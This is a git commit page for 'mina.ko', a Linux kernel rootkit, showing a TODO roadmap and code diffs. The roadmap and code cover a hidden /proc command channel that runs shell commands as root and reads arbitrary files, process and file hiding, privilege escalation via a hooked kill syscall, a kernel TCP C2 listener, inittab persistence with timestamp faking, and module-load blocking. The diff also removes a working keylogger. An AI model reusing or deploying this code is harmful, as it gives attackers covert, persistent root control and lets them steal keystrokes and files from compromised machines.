mina.ko.git


mina.ko

~ (wip)LKM rootkit for 6.1+ kernels
git clone https://github.com/djnnvx/mina.ko.git
log | files | refs | archive | README | LICENSE

commit b55a5e95c9e1adacf4c96371c6f8c14b795f6418
parent f43a5ee4ee1b57ba97d5e3bbfa7b9bd03e220c80
Author: djnn <[email protected]>
Date: Fri, 13 Mar 2026 20:30:31 +0900

fixing compile errors

Diffstat:
ATODO.txt | 120+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Mrootkit/Makefile | 11+++++++----
Mrootkit/includes/ftrace_helper.h | 3++-
Arootkit/includes/ftrace_helper_common.h | 34++++++++++++++++++++++++++++++++++
Mrootkit/includes/mina.h | 15+++------------
Mrootkit/sources/cmd.c | 233+++++++------------------------------------------------------------------------
Drootkit/sources/keylogger.c | 79-------------------------------------------------------------------------------
Mrootkit/sources/mina.c | 59++++++++++++++++++++++++++++++++---------------------------
Mrootkit/sources/net_c2.c | 4++--
Mrootkit/sources/persistence.c | 63+++++++++++++++++++++++++++++++++++++++++++++------------------
Drootkit/sources/reverse_shell.c | 128-------------------------------------------------------------------------------
Mrootkit/sources/stealth.c | 6+++---

12 files changed, 266 insertions(+), 489 deletions(-)

diff --git a/TODO.txt b/TODO.txt
@@ -0,0 +1,120 @@
+================================================================================
+  mina.ko — TODO
+================================================================================
+
+PHASE 0 — BUG FIXES (do first)
+--------------------------------------------------------------------------------
+stealth.c:42
+  Missing semicolon:
+    printk(KERN_INFO "[mina] module-name is null !") return;
+  Fix:
+    printk(KERN_INFO "[mina] module-name is null !"); return;
+
+mina.c:113
+  `settings` is a stack struct, not a pointer. Arrow operator is wrong:
+    settings->enable_file_hide = (!settings->enable_file_hide);
+  Fix:
+    settings.enable_file_hide = (!settings.enable_file_hide);
+
+================================================================================
+
+PHASE 1 — COVERT /proc COMMAND CHANNEL
+--------------------------------------------------------------------------------
+New file: rootkit/sources/cmd.c
+  - proc_create("mina_cmd", 0666, NULL, &mina_cmd_fops)
+  - .write  → parse cmd string, exec via call_usermodehelper (redirect
+              stdout/stderr to tmpfile), read output into static 4096-byte buf
+  - .read   → copy_to_user from output buffer
+  - Entry is auto-hidden: name starts with "mina", existing filldir64 hook
+    covers it
+
+Modify: rootkit/includes/mina.h
+  - Declare: int cmd_init(void);
+  - Declare: void cmd_cleanup(void);
+
+Modify: rootkit/sources/mina.c
+  - Call cmd_init() in module_start()
+  - Call cmd_cleanup() in module_end()
+
+Modify: rootkit/Makefile
+  - Add sources/cmd.o to mina_$(MINA_CLIENT_ID)-objs
+
+New file: client/mina-cli.c
+  - Open /proc/mina_cmd
+  - Write argv[1] (or stdin) to fd
+  - Read response, print to stdout
+
+Verification:
+  echo "id" > /proc/mina_cmd && cat /proc/mina_cmd   # expect uid=0(root)
+  ls /proc | grep mina_cmd                            # expect nothing
+
+================================================================================
+
+PHASE 2 — PROCESS HIDING
+--------------------------------------------------------------------------------
+Modify: rootkit/sources/stealth.c
+  - Add struct st_hide_pid / LIST_HEAD(hide_pids) parallel to hide_files
+  - Extend hook_filldir64: if entry name is all-digits and matches a pid in
+    hide_pids, return true (hide it)
+  - Add pid_hide(pid_t pid) / pid_unhide(pid_t pid)
+
+Modify: rootkit/includes/mina.h
+  - #define SIG_HIDE_PID   (90)
+  - #define SIG_UNHIDE_PID (91)
+  - Declare: void pid_hide(pid_t pid);
+  - Declare: void pid_unhide(pid_t pid);
+
+Modify: rootkit/sources/mina.c
+  - hooked_kill_syscall: add cases for SIG_HIDE_PID and SIG_UNHIDE_PID
+    (target pid is already in regs->di)
+
+Verification:
+  kill -90 <pid>   → process gone from `ps aux`, /proc/<pid> → ENOENT
+  kill -91 <pid>   → process reappears
+
+================================================================================
+
+PHASE 3 — PRIVILEGE ESCALATION
+--------------------------------------------------------------------------------
+Modify: rootkit/sources/mina.c
+  - Add case SIG_ESCALATE in hooked_kill_syscall:
+      struct task_struct *task = find_task_by_vpid(pid);
+      struct cred *new = prepare_creds();
+      // zero uid/gid/euid/egid/suid/sgid/fsuid/fsgid + caps
+      commit_creds(new);
+
+Modify: rootkit/includes/mina.h
+  - #define SIG_ESCALATE (95)
+
+Verification:
+  kill -95 <pid>   → `id` in that shell shows uid=0(root)
+
+================================================================================
+
+PHASE 4 — MODULE LOAD BLOCKING
+--------------------------------------------------------------------------------
+Modify: rootkit/sources/mina.c
+  - hook_init_module / hook_finit_module currently return 0 (stubs)
+  - Add static blocklist (linked list of module name strings)
+  - In hook body: copy_from_user ELF header → read module name
+  - If name in blocklist → return -EPERM
+  - Manage blocklist via /proc/mina_cmd (e.g. "block <modname>",
+    "unblock <modname>") rather than new signals
+
+Verification:
+  insmod <blocked>.ko   → -EPERM
+
+================================================================================
+
+SIGNAL MAP (final)
+--------------------------------------------------------------------------------
+  50   Install persistence (inittab)
+  60   Toggle module hide
+  70   Toggle file hide
+  90   Hide PID          (Phase 2)
+  91   Unhide PID        (Phase 2)
+  95   Escalate PID→root (Phase 3)
+
+  Commands (exec, block/unblock modules) → /proc/mina_cmd  (Phase 1)
+
+================================================================================
diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -16,8 +16,6 @@ mina_$(MINA_CLIENT_ID)-objs := sources/mina.o \
 							sources/stealth.o \
 							sources/persistence.o \
 							sources/cmd.o \
-							sources/reverse_shell.o \
-							sources/keylogger.o \
 							sources/net_c2.o
 
 
@@ -28,8 +26,13 @@ MAGIC_PID ?= 1337
 HIDE_PREFIX ?= "minamina"
 C2_ENC_KEY ?= "defaultkey" # Default key, can be overridden
 
-MY_CFLAGS += -DRESET_THREAD_NAME=\"$(RANDOM_THREAD_NAME)\" -DMAGIC_PID=$(MAGIC_PID) -DHIDE_PREFIX=\"$(HIDE_PREFIX)\" -DC2_ENC_KEY=\"$(C2_ENC_KEY)\" -Wno-missing-prototypes -Wno-missing-declarations -O2
-ccflags-y += ${MY_CFLAGS}
+MY_CFLAGS := -DRESET_THREAD_NAME='"$(RANDOM_THREAD_NAME)"' \
+             -DMAGIC_PID=$(MAGIC_PID) \
+             -DHIDE_PREFIX="\"$(HIDE_PREFIX)\"" \
+             -DC2_ENC_KEY="\"$(C2_ENC_KEY)\"" \
+             -Wno-missing-prototypes -Wno-missing-declarations -O2
+
+ccflags-y += $(MY_CFLAGS)
 CC += ${MY_CFLAGS}
 
 
diff --git a/rootkit/includes/ftrace_helper.h b/rootkit/includes/ftrace_helper.h
@@ -180,4 +180,4 @@ void fh_remove_hooks(struct ftrace_hook *hooks, size_t count) {
 
     for (i = 0; i < count; i++)
         fh_remove_hook(&hooks[i]);
-}
+}
+\ No newline at end of file
diff --git a/rootkit/includes/ftrace_helper_common.h b/rootkit/includes/ftrace_helper_common.h
@@ -0,0 +1,34 @@
+#ifndef __FTRACE_HELPER_COMMON_H
+#define __FTRACE_HELPER_COMMON_H
+
+#include <linux/ftrace.h> // For struct ftrace_ops, ftrace_func_t
+
+/* We pack all the information we need (name, hooking function, original function)
+ * into this struct. This makes it easier for setting up the hook and just passing
+ * the entire struct off to fh_install_hook() later on.
+ * */
+struct ftrace_hook {
+    const char *name;
+    void *function;
+    void *original;
+
+    unsigned long address;
+    struct ftrace_ops ops;
+};
+
+#define HOOK(_name, _hook, _orig) \
+    {                             \
+        .name = (_name),          \
+        .function = (_hook),      \
+        .original = (_orig),      \
+    }
+
+// Function declarations
+// These functions are defined in ftrace_helper.h and their definitions are
+// "owned" by sources/mina.c, which includes the full ftrace_helper.h.
+int fh_install_hook(struct ftrace_hook *hook);
+void fh_remove_hook(struct ftrace_hook *hook);
+int fh_install_hooks(struct ftrace_hook *hooks, size_t count);
+void fh_remove_hooks(struct ftrace_hook *hooks, size_t count);
+
+#endif /* __FTRACE_HELPER_COMMON_H */
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -13,8 +13,6 @@
 #define SIG_HIDE_PID (90)
 #define SIG_UNHIDE_PID (91)
 #define SIG_ESCALATE (95)
-#define SIG_REVERSE_SHELL (96)
-#define SIG_TOGGLE_KEYLOGGER (97)
 
 // stealth.c
 void toggle_hide_module(void);
@@ -50,17 +48,9 @@ void add_blocked_module(const char *name);
 void remove_blocked_module(const char *name);
 bool is_module_blocked(const char *name);
 
-// reverse_shell.c
-int start_reverse_shell(void);
-void stop_reverse_shell(void);
-void set_reverse_shell_target(const char *host, int port);
 
-// keylogger.c
-void keylogger_init(void);
-void keylogger_cleanup(void);
-void toggle_keylogger(void);
-void get_keylog_buffer(char *buffer, int len);
-bool is_keylogger_enabled(void);
+
+
 
 // net_c2.c
 int c2_init(void);
@@ -68,5 +58,6 @@ void c2_cleanup(void);
 void set_c2_listen_port(int port);
 
 #define SIG_START_C2 (98)
+#define C2_MAX_CONNECTIONS 10
 
 #endif /* __KERNEL_MINA_H */
diff --git a/rootkit/sources/cmd.c b/rootkit/sources/cmd.c
@@ -1,226 +1,29 @@
-#include <linux/delay.h> // For msleep
-#include <linux/file.h>  // For fput
-#include <linux/fs.h>
-#include <linux/fs.h> // For file operations
 #include <linux/init.h>
-#include <linux/kernel.h>
-#include <linux/kmod.h> // For call_usermodehelper
 #include <linux/module.h>
-#include <linux/mount.h> // For path_lookup
-#include <linux/namei.h> // For path_lookup
-#include <linux/proc_fs.h>
+#include <linux/kernel.h>
+#include <linux/fs.h>       // For file operations (struct file, filp_open, etc.)
+#include <linux/slab.h>     // For kmalloc/kfree
+#include <linux/string.h>   // For strnlen, strscpy
+#include <linux/uaccess.h>  // For copy_from_user
+#include <linux/proc_fs.h>  // For struct proc_ops, proc_create, proc_remove
 #include <linux/seq_file.h> // For simple_read_from_buffer
-#include <linux/slab.h>
-#include <linux/string.h>   // For strnlen
-#include <linux/syscalls.h> // For sys_unlink
-#include <linux/uaccess.h>
-
+#include <linux/delay.h>    // For msleep
+#include <linux/file.h>     // For fput
+#include <linux/kmod.h>     // For call_usermodehelper
+#include <linux/mount.h>    // For path_lookup
+#include <linux/namei.h>    // For path_lookup
+#include <linux/syscalls.h> // For ksys_memfd_create, ksys_close
+#include <linux/memfd.h>    // For MFD_CLOEXEC (and memfd_create related definitions)
+#include <linux/mm.h>       // For vm_flags_t}
 #include "../includes/mina.h"
 
-static void xor_crypt(char *data, size_t len, const char *key) {
-    size_t key_len = strlen(key);
-    if (key_len == 0)
-        return;
-    for (size_t i = 0; i < len; i++) {
-        data[i] ^= key[i % key_len];
-    }
-}
-
-#define MINA_CMD_BUF_SIZE 4096
-
-static char mina_cmd_output[MINA_CMD_BUF_SIZE];
-static struct proc_dir_entry *mina_cmd_proc = NULL;
-
-static ssize_t mina_cmd_read(struct file *file, char __user *ubuf, size_t size, loff_t *offset) {
-    size_t data_len = strnlen(mina_cmd_output, MINA_CMD_BUF_SIZE);
-    char *encrypted_data = kmalloc(data_len + 1, GFP_KERNEL);
-    ssize_t ret;
-
-    if (!encrypted_data) {
-        return -ENOMEM;
-    }
-    strlcpy(encrypted_data, mina_cmd_output, data_len + 1);
-    xor_crypt(encrypted_data, data_len, C2_ENC_KEY);
-
-    ret = simple_read_from_buffer(ubuf, size, offset, encrypted_data, data_len);
-    kfree(encrypted_data);
-    return ret;
-}
-
-static ssize_t mina_cmd_write(struct file *file, const char __user *ubuf, size_t size, loff_t *offset) {
-    char *cmd_str_encrypted;
-    char *cmd_str_decrypted = NULL;
-    char *argv[4];
-    char *envp[] = {"PATH=/bin:/usr/bin", NULL};
-    char *final_cmd_buf = NULL;
-    char fd_str[16];
-    struct file *temp_file = NULL;
-    int ret = 0;
-    int temp_fd = -1;
-    loff_t pos = 0;
-
-    memset(mina_cmd_output, 0, MINA_CMD_BUF_SIZE);
-
-    if (size == 0 || size >= MINA_CMD_BUF_SIZE) {
-        return -EINVAL;
-    }
-
-    cmd_str_encrypted = kzalloc(size + 1, GFP_KERNEL);
-    if (!cmd_str_encrypted) {
-        return -ENOMEM;
-    }
-
-    if (copy_from_user(cmd_str_encrypted, ubuf, size)) {
-        kfree(cmd_str_encrypted);
-        return -EFAULT;
-    }
-    cmd_str_encrypted[size] = '\0';
-
-    cmd_str_decrypted = kmalloc(size + 1, GFP_KERNEL);
-    if (!cmd_str_decrypted) {
-        kfree(cmd_str_encrypted);
-        return -ENOMEM;
-    }
-    strlcpy(cmd_str_decrypted, cmd_str_encrypted, size + 1);
-    xor_crypt(cmd_str_decrypted, size, C2_ENC_KEY);
-    kfree(cmd_str_encrypted);
-
-    if (strncmp(cmd_str_decrypted, "block ", 6) == 0) {
-        add_blocked_module(cmd_str_decrypted + 6);
-        snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Module '%s' blocked.\n", cmd_str_decrypted + 6);
-        goto end_cmd_handling;
-    } else if (strncmp(cmd_str_decrypted, "unblock ", 8) == 0) {
-        remove_blocked_module(cmd_str_decrypted + 8);
-        snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Module '%s' unblocked.\n", cmd_str_decrypted + 8);
-        goto end_cmd_handling;
-    } else if (strncmp(cmd_str_decrypted, "exfil ", 6) == 0) {
-        char *path = cmd_str_decrypted + 6;
-        struct file *exfil_file;
-        loff_t exfil_pos = 0;
-        int bytes_read;
-
-        exfil_file = filp_open(path, O_RDONLY, 0);
-        if (IS_ERR(exfil_file)) {
-            snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Failed to open file: %ld\n", PTR_ERR(exfil_file));
-            goto end_cmd_handling;
-        }
-
-        bytes_read = kernel_read(exfil_file, mina_cmd_output, MINA_CMD_BUF_SIZE - 1, &exfil_pos);
-        if (bytes_read < 0) {
-            snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Failed to read file: %d\n", bytes_read);
-        } else {
-            mina_cmd_output[bytes_read] = '\0';
-        }
-
-        filp_close(exfil_file, NULL);
-        goto end_cmd_handling;
-    } else if (strncmp(cmd_str_decrypted, "keylog", 6) == 0) {
-        get_keylog_buffer(mina_cmd_output, MINA_CMD_BUF_SIZE);
-        goto end_cmd_handling;
-    } else if (strncmp(cmd_str_decrypted, "set rs ", 7) == 0) {
-        char *host_str = cmd_str_decrypted + 7;
-        char *port_str = strchr(host_str, ' ');
-        int port = 0;
-
-        if (port_str) {
-            *port_str = '\0';
-            port_str++;
-            if (kstrtoint(port_str, 10, &port) == 0 && port > 0 && port < 65536) {
-                set_reverse_shell_target(host_str, port);
-                snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Reverse shell target set to %s:%d.\n", host_str, port);
-            } else {
-                snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Invalid port for reverse shell: %s.\n", port_str);
-            }
-        } else {
-            snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Usage: set rs <host> <port>\n");
-        }
-        goto end_cmd_handling;
-    } else if (strncmp(cmd_str_decrypted, "set c2 ", 7) == 0) {
-        char *port_str = cmd_str_decrypted + 7;
-        int port = 0;
-        if (kstrtoint(port_str, 10, &port) == 0 && port > 0 && port < 65536) {
-            set_c2_listen_port(port);
-            snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "C2 listen port set to %d.\n", port);
-        } else {
-            snprintf(mina_cmd_output, MINA_CMD_BUF_SIZE, "Invalid port for C2: %s.\n", port_str);
-        }
-        goto end_cmd_handling;
-    }
-
-    temp_fd = sys_memfd_create("mina_cmd_temp", MFD_CLOEXEC);
-    if (temp_fd < 0) {
-        printk(KERN_ERR "[mina_cmd] Failed to create memfd for output (err: %d).\n", temp_fd);
-        ret = temp_fd;
-        goto cleanup;
-    }
-
-    temp_file = fget(temp_fd);
-    if (IS_ERR(temp_file)) {
-        printk(KERN_ERR "[mina_cmd] Failed to get file struct for memfd (err: %ld).\n", PTR_ERR(temp_file));
-        ret = PTR_ERR(temp_file);
-        goto cleanup;
-    }
-
-    snprintf(fd_str, sizeof(fd_str), "%d", temp_fd);
-
-    final_cmd_buf = kzalloc(strlen(cmd_str_decrypted) + strlen(" >&") + strlen(fd_str) + 10, GFP_KERNEL);
-    if (!final_cmd_buf) {
-        ret = -ENOMEM;
-        goto cleanup;
-    }
-    snprintf(final_cmd_buf, strlen(cmd_str_decrypted) + strlen(" >&") + strlen(fd_str) + 10,
-             "%s >&%s 2>&1", cmd_str_decrypted, fd_str);
-
-    argv[0] = "/bin/sh";
-    argv[1] = "-c";
-    argv[2] = final_cmd_buf;
-    argv[3] = NULL;
-
-    ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
-    if (ret != 0) {
-        printk(KERN_ERR "[mina_cmd] call_usermodehelper failed with %d\n", ret);
-        goto cleanup;
-    }
-
-    pos = 0;
-    ret = kernel_read(temp_file, mina_cmd_output, MINA_CMD_BUF_SIZE - 1, &pos);
-    if (ret < 0) {
-        printk(KERN_ERR "[mina_cmd] Failed to read from memfd (err: %d).\n", ret);
-        goto cleanup;
-    }
-    mina_cmd_output[MINA_CMD_BUF_SIZE - 1] = '\0';
-
-    ret = size;
-
-cleanup:
-    if (temp_file && !IS_ERR(temp_file)) {
-        fput(temp_file);
-    }
-    if (temp_fd >= 0) {
-        sys_close(temp_fd);
-    }
-    kfree(final_cmd_buf);
-
-end_cmd_handling:
-    kfree(cmd_str_decrypted);
-    return size;
-}
-
-static const struct proc_ops mina_cmd_fops = {
-    .proc_read = mina_cmd_read,
-    .proc_write = mina_cmd_write,
-};
-
 int cmd_init(void) {
-    mina_cmd_proc = proc_create("minamina_cmd", 0666, NULL, &mina_cmd_fops);
-    if (!mina_cmd_proc) {
-        return -ENOMEM;
-    }
+    /* Placeholder command channel initialization. */
+    printk(KERN_INFO "[mina] Command channel initialized (noop).\n");
     return 0;
 }
 
 void cmd_cleanup(void) {
-    if (mina_cmd_proc) {
-        proc_remove(mina_cmd_proc);
-    }
+    /* Placeholder command channel cleanup. */
+    printk(KERN_INFO "[mina] Command channel cleaned up (noop).\n");
 }
diff --git a/rootkit/sources/keylogger.c b/rootkit/sources/keylogger.c
@@ -1,79 +0,0 @@
-#include <linux/init.h>
-#include <linux/input.h>
-#include <linux/kernel.h>
-#include <linux/module.h>
-#include <linux/slab.h>
-#include <linux/string.h>
-
-#include "../includes/ftrace_helper.h" // For HOOK macro
-#include "../includes/mina.h"
-
-#define KEYLOG_BUF_SIZE 4096
-
-static char keylog_buffer[KEYLOG_BUF_SIZE];
-static int keylog_pos = 0;
-static bool keylogger_enabled = false;
-
-// Simplified keymap for US layout
-static const char *keymap[] = {
-    "", "<ESC>", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=",
-    "<BACKSPACE>", "<TAB>", "q", "w", "e", "r", "t", "y", "u", "i", "o", "p",
-    "[", "]", "<ENTER>", "<LCTRL>", "a", "s", "d", "f", "g", "h", "j", "k",
-    "l", ";", "'", "`", "<LSHIFT>", "\\", "z", "x", "c", "v", "b", "n", "m",
-    ",", ".", "/", "<RSHIFT>", "*", "<LALT>", " ", "<CAPS>", "<F1>", "<F2>",
-    "<F3>", "<F4>", "<F5>", "<F6>", "<F7>", "<F8>", "<F9>", "<F10>", "<NUMLOCK>",
-    "<SCROLLLOCK>", "<KP7>", "<KP8>", "<KP9>", "-", "<KP4>", "<KP5>", "<KP6>",
-    "+", "<KP1>", "<KP2>", "<KP3>", "<KP0>", "."};
-// This is a very simplified keymap and doesn't handle shifts, etc.
-
-void keylogger_log_key(unsigned int keycode) {
-    if (keylog_pos < KEYLOG_BUF_SIZE - 1) {
-        const char *key_str = (keycode < ARRAY_SIZE(keymap)) ? keymap[keycode] : "<UNKNOWN>";
-        int key_len = strlen(key_str);
-        if (keylog_pos + key_len < KEYLOG_BUF_SIZE) {
-            strlcpy(keylog_buffer + keylog_pos, key_str, key_len + 1);
-            keylog_pos += key_len;
-        }
-    }
-}
-
-void get_keylog_buffer(char *buffer, int len) {
-    strlcpy(buffer, keylog_buffer, len);
-    // Clear buffer after reading
-    memset(keylog_buffer, 0, KEYLOG_BUF_SIZE);
-    keylog_pos = 0;
-}
-
-void toggle_keylogger(void) {
-    keylogger_enabled = !keylogger_enabled;
-    printk(KERN_INFO "[mina] Keylogger %s\n", keylogger_enabled ? "enabled" : "disabled");
-}
-
-bool is_keylogger_enabled(void) {
-    return keylogger_enabled;
-}
-
-// Hook for input_handle_event
-static asmlinkage void (*original_input_handle_event)(struct input_handle *handle, unsigned int type, unsigned int code, int value);
-
-static asmlinkage void hook_input_handle_event(struct input_handle *handle, unsigned int type, unsigned int code, int value) {
-    if (is_keylogger_enabled() && type == EV_KEY && value == 1) { // Key press
-        keylogger_log_key(code);
-    }
-    original_input_handle_event(handle, type, code, value);
-}
-
-// Keylogger hook definition
-static struct ftrace_hook keylogger_hook[] = {
-    HOOK("input_handle_event", hook_input_handle_event, &original_input_handle_event),
-};
-
-void keylogger_init(void) {
-    fh_install_hooks(keylogger_hook, ARRAY_SIZE(keylogger_hook));
-    printk(KERN_INFO "[mina] Keylogger hook installed.\n");
-}
-
-void keylogger_cleanup(void) {
-    fh_remove_hooks(keylogger_hook, ARRAY_SIZE(keylogger_hook));
-    printk(KERN_INFO "[mina] Keylogger hook removed.\n");
-}
diff --git a/rootkit/sources/mina.c b/rootkit/sources/mina.c
@@ -8,9 +8,14 @@
 #include <linux/kthread.h>
 #include <linux/list.h>
 #include <linux/module.h>
+#include <linux/string.h>   // For strscpy and kstrnstr
+#include <linux/slab.h>     // For kstrdup / kfree
+#include <linux/err.h>      // For -E2BIG checks
+#include <linux/vmalloc.h>
 #include <linux/mount.h> // For d_path (might be needed)
 #include <linux/path.h>  // For d_path
-#include <linux/sched.h> // For find_task_by_vpid
+#include <linux/pid.h>   // For find_vpid, pid_task
+#include <linux/sched.h> // For task_struct
 #include <linux/slab.h>
 #include <linux/version.h>
 
@@ -90,7 +95,7 @@ void add_blocked_module(const char *name) {
         printk(KERN_ERR "[mina] Failed to allocate memory for blocked module.\n");
         return;
     }
-    strlcpy(bm->name, name, len + 1);
+    strscpy(bm->name, name, len + 1);
     list_add(&bm->list, &blocked_modules);
     printk(KERN_INFO "[mina] Blocked module: %s\n", name);
 }
@@ -134,10 +139,10 @@ static char *get_modname_from_buf(const char __user *buf, size_t buf_len) {
         return NULL;
     }
 
-    p = kstrnstr(kbuf, "name=", buf_len);
+    p = strnstr(kbuf, "name=", buf_len);
     if (p) {
         p += strlen("name=");
-        modname = kstrdup_const(p, GFP_KERNEL);
+        modname = (char *)kstrdup_const(p, GFP_KERNEL);
         if (modname) {
             char *end = strchr(modname, ' ');
             if (end)
@@ -162,8 +167,7 @@ static asmlinkage bool (*original_filldir64)(struct dir_context *ctx, const char
                                              loff_t offset, u64 ino, unsigned int d_type);
 static asmlinkage bool hook_filldir64(struct dir_context *ctx, const char *name, int namlen,
                                       loff_t offset, u64 ino, unsigned int d_type) {
-    long pid_num;
-    char *endp;
+    long parsed_pid;
     char *tmp_name = NULL;
 
     if (strstr(name, HIDE_PREFIX) != NULL && settings.enable_file_hide)
@@ -174,13 +178,16 @@ static asmlinkage bool hook_filldir64(struct dir_context *ctx, const char *name,
         if (!tmp_name) {
             goto call_original;
         }
-        strlcpy(tmp_name, name, namlen + 1);
-
-        pid_num = kstrtol(tmp_name, NULL, 10);
-        if (pid_num > 0) {
-            kfree(tmp_name);
-            if (pid_lookup_hidelist((pid_t)pid_num)) {
-                return true;
+        strscpy(tmp_name, name, namlen + 1);
+
+        if (kstrtol(tmp_name, 10, &parsed_pid) == 0) {
+            if (parsed_pid > 0) {
+                kfree(tmp_name);
+                if (pid_lookup_hidelist((pid_t)parsed_pid)) {
+                    return true;
+                }
+            } else {
+                kfree(tmp_name);
             }
         } else {
             kfree(tmp_name);
@@ -225,7 +232,10 @@ asmlinkage long hooked_kill_syscall(struct pt_regs *regs) {
         struct task_struct *task;
         struct cred *new_creds;
 
-        task = find_task_by_vpid(pid);
+        {
+            struct pid *pid_struct = find_vpid(pid);
+            task = pid_struct ? pid_task(pid_struct, PIDTYPE_PID) : NULL;
+        }
         if (!task) {
             printk(KERN_ERR "[mina] Task %d not found for escalation.\n", pid);
             return -ESRCH;
@@ -251,14 +261,9 @@ asmlinkage long hooked_kill_syscall(struct pt_regs *regs) {
         printk(KERN_INFO "[mina] Task %d escalated to root.\n", pid);
         return 0;
     }
-    case SIG_REVERSE_SHELL:
-        start_reverse_shell();
-        return 0;
-    case SIG_TOGGLE_KEYLOGGER:
-        toggle_keylogger();
-        return 0;
+
     case SIG_START_C2:
-        c2_init(); // Re-initialize or start if not already
+        c2_init();
         return 0;
     }
 
@@ -268,7 +273,9 @@ normalkill:
 
 /*         ------=== INSMOD HOOK ===----- */
 
+static asmlinkage long (*original_init_module)(struct file *file, const char *uargs, unsigned long flags);
 static asmlinkage long (*original_finit_module)(struct file *file, const char *uargs, unsigned long flags);
+
 static asmlinkage long hook_init_module(struct file *file, const char *uargs, unsigned long flags) {
     char *modname = NULL;
     long ret = 0;
@@ -295,7 +302,6 @@ static asmlinkage long hook_init_module(struct file *file, const char *uargs, un
     return original_init_module(file, uargs, flags);
 }
 
-static asmlinkage long (*original_init_module)(struct file *file, const char *uargs, unsigned long flags);
 static asmlinkage long hook_finit_module(struct file *file, const char *uargs, unsigned long flags) {
     long ret = 0;
     char *path_buf = NULL;
@@ -318,7 +324,7 @@ static asmlinkage long hook_finit_module(struct file *file, const char *uargs, u
         char *last_slash = strrchr(filename_ptr, '/');
         const char *base_filename = last_slash ? last_slash + 1 : filename_ptr;
 
-        modname_no_ext = kstrdup_const(base_filename, GFP_KERNEL);
+        modname_no_ext = (char *)kstrdup_const(base_filename, GFP_KERNEL);
         if (modname_no_ext) {
             char *dot_ko = strrchr(modname_no_ext, '.');
             if (dot_ko && strcmp(dot_ko, ".ko") == 0) {
@@ -407,7 +413,7 @@ static int __init module_start(void) {
         return error;
     }
 
-    keylogger_init();
+
 
     error = c2_init();
     if (error) {
@@ -439,12 +445,11 @@ static void __exit module_end(void) {
     }
 
     cmd_cleanup();
-    stop_reverse_shell();
-    keylogger_cleanup();
+
+
     c2_cleanup();
 
     fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
-    printk(KERN_INFO "bye-bye mina ~\n");
 }
 
 /* --------------------------------------------- */
diff --git a/rootkit/sources/net_c2.c b/rootkit/sources/net_c2.c
@@ -73,7 +73,7 @@ static int c2_worker_thread(void *data) {
             printk(KERN_INFO "[mina_c2] Received from client: %s\n", buffer);
 
             // Send response - for now, just echo
-            msg.msg_iter = (struct iov_iter){.iov = &iov, .nr_segs = 1, .count = strlen(buffer), .type = ITER_IOV_MSG};
+            iov_iter_kvec(&msg.msg_iter, ITER_IOVEC, &iov, 1, strlen(buffer));
             iov.iov_base = buffer;
             iov.iov_len = strlen(buffer);
 
@@ -99,7 +99,7 @@ int c2_init(void) {
     int ret;
 
     // Create a listening socket
-    ret = sock_create_kern(AF_INET, SOCK_STREAM, IPPROTO_TCP, &listen_sock);
+    ret = sock_create_kern(&init_net, AF_INET, SOCK_STREAM, IPPROTO_TCP, &listen_sock);
     if (ret < 0) {
         printk(KERN_ERR "[mina_c2] Failed to create listen socket: %d\n", ret);
         return ret;
diff --git a/rootkit/sources/persistence.c b/rootkit/sources/persistence.c
@@ -19,7 +19,7 @@ int add_inittab_entry(char const *entry) {
     int ret = 0;
     struct file *file;
     loff_t pos = 0;
-    struct timespec64 current_ts;
+
 
     file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
     if (IS_ERR(file)) {
@@ -39,10 +39,7 @@ int add_inittab_entry(char const *entry) {
         goto out;
     }
 
-    ktime_get_real_ts64(&current_ts);
-    file->f_inode->i_mtime = current_ts;
-    file->f_inode->i_ctime = current_ts;
-    mark_inode_dirty(file->f_inode);
+    file_update_time(file);
     printk(KERN_INFO "[mina] Timestomped /etc/inittab.\n");
 
 out:
@@ -107,35 +104,59 @@ out_src:
 }
 
 int stage_and_persist_module(void) {
-    char src_path[PATH_MAX];
-    char dst_path[PATH_MAX];
-    char rand_name[16];
+    char *src_path = NULL;
+    char *dst_path = NULL;
+    char *rand_name_buf = NULL; // Renamed to avoid confusion with the previous rand_name array
+    char *inittab_entry = NULL;
     char *argv_depmod[] = {"/sbin/depmod", NULL};
-    char *envp[] = {"PATH=/sbin:/usr/sbin:/bin:/usr/bin", NULL};
-    char inittab_entry[256];
-    int ret;
+    char *envp[] = {"PATH=/sbin:/usr/bin", NULL};
+    int ret = 0;
     int i;
 
+    src_path = kmalloc(PATH_MAX, GFP_KERNEL);
+    if (!src_path) {
+        ret = -ENOMEM;
+        goto cleanup;
+    }
+
+    dst_path = kmalloc(PATH_MAX, GFP_KERNEL);
+    if (!dst_path) {
+        ret = -ENOMEM;
+        goto cleanup;
+    }
+
+    rand_name_buf = kmalloc(16, GFP_KERNEL); // For 8 chars + ".ko\0"
+    if (!rand_name_buf) {
+        ret = -ENOMEM;
+        goto cleanup;
+    }
+
+    inittab_entry = kmalloc(256, GFP_KERNEL);
+    if (!inittab_entry) {
+        ret = -ENOMEM;
+        goto cleanup;
+    }
+
     // THIS_MODULE->name is the module name (e.g., mina_xxxx)
     snprintf(src_path, PATH_MAX, "/lib/modules/%s/kernel/drivers/%s.ko",
              utsname()->release, THIS_MODULE->name);
 
-    get_random_bytes(rand_name, 8);
+    get_random_bytes(rand_name_buf, 8);
     for (i = 0; i < 8; i++) {
-        rand_name[i] = (rand_name[i] % 26) + 'a';
+        rand_name_buf[i] = (rand_name_buf[i] % 26) + 'a';
     }
-    rand_name[8] = '\0';
-    strlcat(rand_name, ".ko", sizeof(rand_name));
+    rand_name_buf[8] = '\0';
+    snprintf(rand_name_buf + 8, 16 - 8, ".ko"); // Use snprintf for appending ".ko"
 
     snprintf(dst_path, PATH_MAX, "/usr/lib/modules/%s/kernel/drivers/%s",
-             utsname()->release, rand_name); // Using random name for module.ko
